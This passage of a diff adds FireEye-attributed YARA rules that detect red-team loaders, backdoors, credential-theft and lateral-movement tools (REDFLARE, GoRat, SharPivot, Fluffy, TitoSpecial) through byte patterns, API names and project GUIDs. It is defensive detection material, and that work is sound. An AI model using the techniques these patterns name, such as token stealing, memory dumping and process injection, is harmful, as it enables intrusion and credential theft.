00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+        $cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+        $cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and any of them
+}
+rule APT_Loader_Win32_REDFLARE_2
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "4e7e90c7147ee8aa01275894734f4492"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF }
+        $s1 = "ResumeThread"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSTOMP_2
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $f0 = "mscoree.dll" fullword nocase
+        $s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A }
+        $s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 }
+        $s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 }
+        $s3 = "SetCreationTime" fullword
+        $s4 = "GetLastAccessTime" fullword
+        $s5 = "SetLastAccessTime" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_MSIL_NetshShellCodeRunner_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_4
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Backdoor_Win_GoRat_Memory
+{
+    meta:
+        description = "Identifies GoRat malware in memory based on strings."
+        md5 = "3b926b5762e13ceec7ac3a61e85c93bb"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $murica = "murica" fullword
+        $rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+        $rat2 = "rat.(*Core).generateBeacon" fullword
+        $rat3 = "rat.gJitter" fullword
+        $rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
+        $rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
+        $rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
+        $rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
+        $rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
+        $rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+        $rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
+        $rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
+        $winblows = "rat/platforms/win.(*winblows).GetStage" fullword
+    condition:
+        $winblows or #murica > 10 or 3 of ($rat*)
+}
+rule Loader_MSIL_AllTheThings_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win64_PGF_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+        md5 = "2b686a8b83f8e1d8b455976ae70dab6e"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB }
+        $sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) }
+        $sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Trojan_Win_REDFLARE_5
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s1 = "AdjustTokenPrivileges" fullword
+        $s2 = "LookupPrivilegeValueW" fullword
+        $s3 = "ImpersonateLoggedOnUser" fullword
+        $s4 = "runCommand" fullword
+        $steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule CredTheft_MSIL_TitoSpecial_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $str1 = "Minidump" ascii wide
+        $str2 = "dumpType" ascii wide
+        $str3 = "WriteProcessMemory" ascii wide
+        $str4 = "bInheritHandle" ascii wide
+        $str5 = "GetProcessById" ascii wide
+        $str6 = "SafeHandle" ascii wide
+        $str7 = "BeginInvoke" ascii wide
+        $str8 = "EndInvoke" ascii wide
+        $str9 = "ConsoleApplication1" ascii wide
+        $str10 = "getOSInfo" ascii wide
+        $str11 = "OpenProcess" ascii wide
+        $str12 = "LoadLibrary" ascii wide
+        $str13 = "GetProcAddress" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of ($str*)
+}
+rule Builder_MSIL_G2JS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
+        md5 = "fa255fdc88ab656ad9bc383f9b322a76"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Loader_Win32_DShell_2
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "590d98bb74879b52b97d8a158af912af"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+        $ss4 = "C:\\Users\\config.ini" fullword
+        $ss5 = "Invalid config file" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule HackTool_MSIL_SharPivot_3
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "SharPivot" ascii wide
+        $str2 = "ParseArgs" ascii wide
+        $str3 = "GenRandomString" ascii wide
+        $str4 = "ScheduledTaskExists" ascii wide
+        $str5 = "ServiceExists" ascii wide
+        $str6 = "lpPassword" ascii wide
+        $str7 = "execute" ascii wide
+        $str8 = "WinRM" ascii wide
+        $str9 = "SchtaskMod" ascii wide
+        $str10 = "PoisonHandler" ascii wide
+        $str11 = "SCShell" ascii wide
+        $str12 = "SchtaskMod" ascii wide
+        $str13 = "ServiceHijack" ascii wide
+        $str14 = "commandArg" ascii wide
+        $str15 = "payloadPath" ascii wide
+        $str16 = "Schtask" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule APT_HackTool_MSIL_FLUFFY_2
+{
+    meta:
+        date_created = "2020-12-04"
+        date_modified = "2020-12-04"
+        md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "\x00Asktgt\x00"
+        $s2 = "\x00Kerberoast\x00"
+        $s3 = "\x00HarvestCommand\x00"
+        $s4 = "\x00EnumerateTickets\x00"
+        $s5 = "[*] Action: " wide
+        $s6 = "\x00Fluffy.Commands\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_FLUFFY_1
+{
+    meta:
+        date_created = "2020-12-04"
+        date_modified = "2020-12-04"
+        md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B }
+        $sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 }
+        $ss1 = "\x00Fluffy\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_SEATBELT_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
+        md5 = "848837b83865f3854801be1f25cb9f4d"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
+        $str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
+        $str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
+        $str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
+        $str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
+        $str6 = "*[System/EventID={0}]" ascii nocase wide
+        $str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
+        $str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
+        $str9 = "{0}" ascii nocase wide
+        $str10 = "{0,-23}" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule HackTool_MSIL_INVEIGHZERO_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_RURALBISHOP_1
+{
+    meta:
+        date_created = "2020-12-03"
+        date_modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+        $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (@sb1[1] < @sb2[1]) and (all of ($ss*)) and (all of ($tb*))
+}
+rule Loader_MSIL_RURALBISHOP_2
+{
+    meta:
+        date_created = "2020-12-03"
+        date_modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
